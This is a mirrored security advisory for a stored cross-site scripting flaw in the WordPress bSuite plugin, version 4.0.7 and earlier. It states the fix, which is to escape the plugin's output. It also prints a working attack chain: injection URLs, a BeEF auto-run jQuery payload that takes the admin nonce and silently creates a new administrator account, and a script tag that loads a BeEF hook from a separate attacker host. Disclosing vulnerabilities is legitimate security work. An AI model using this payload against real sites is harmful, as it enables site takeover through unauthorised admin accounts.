Lucene search
K

WordPress bSuite 4.0.7 Cross Site Scripting

🗓️ 19 Jul 2011 00:00:00Reported by IHTeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

WordPress bSuite 4.0.7 Cross Site Scripting advisory and remote admin addition through XS

Code
`Original advisory:  
http://www.ihteam.net/advisory/bsuite-wordpress-permanent-xss/  
  
*WordPress bSuite <= 4.0.7 Permanent XSS -> Add Admin*  
*Download link:* http://wordpress.org/extend/plugins/bsuite/  
*Author contact:* 29/06/2011  
*POC published:* 11/07/2011  
Plugin is out-of-date, last update on 2009, so this is just a POC that  
show how  
to made the XSS more useful  
  
*FIX:* Add htmlspecialchars to output  
  
*Bug found by:* IHTeam  
  
*Follow us on Twitter! @IHTeam <http://twitter.com/IHTeam>*  
  
*CHECK BSUITE:*  
  
http://192.168.1.100/wordpress/plugins/bsuite/js/bsuite.js  
  
*PERMANENT XSS POC:*  
You can inject XSS in different way, for example:  
  
http://192.168.1.100/wordpress/?s=<h2>XSSED</h2>  
  
or directly in URL:  
  
http://192.168.1.100/wordpress/?p=1&<h1>XSSED</h1>  
  
Now, when admin enter in bSuite panel, will see the XSSED code  
  
<http://www.ihteam.net/wp-content/uploads/bsuite_XSSED.jpeg>  
  
*XSS TO REMOTE ADMIN ADD:  
*We will use beef <http://beefproject.com/>to do that part. So:  
  
1. Run beef on you local machine  
2. Enable auto-run that code:  
  
jQuery(“<div>”, {  
id: “testbeef”  
}).appendTo(“#screen-meta-links”);  
jQuery.get(“user-new.php”, function(data) {  
jQuery(“#testbeef”).html(data);  
var nonce=jQuery(“#_wpnonce_create-user”).val();  
jQuery(“#testbeef”).html(“”);  
  
jQuery.post(“user-new.php”, {  
“_wp_http_referer”: “/wordpress/wp-admin/user-new.php”,  
“_wpnonce_create-user”: nonce,  
action: “createuser”,  
createuser: “Add New User”,  
email: “[email protected]”,  
first_name: “”,  
last_name: “”,  
pass1: “123123hello”,  
pass2: “123123hello”,  
role: “administrator”,  
url: “”,  
user_login: “hax0r”  
});  
  
});  
  
We make 2 request to //wordpress/wp-admin/user-new.php/ because we need  
to grab  
/_wpnonce_create-user/ value.  
  
1. First create a new div with ID /testbeef/  
2. Request user-new.php and append content to the DIV  
3. Grab _wpnonce_create-user value to nonce variable  
4. Clean the DIV content;  
5. Make a POST request to user-new.php with the correct values  
  
Review the code to change _wp_http_referer, pass1, pass2 and user_login  
of the  
POST request.  
Now it’s time to inject the beef control script in bSuite like this:  
  
http://192.168.1.100/s=<script  
src=”http://192.168.1.102/beef/hook/beefmagic.js.php”></script>  
  
You may wait 1h to 5h for bSuit refresh. It will result in new admin with  
username: /haxor/ and password: /123123hello/  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation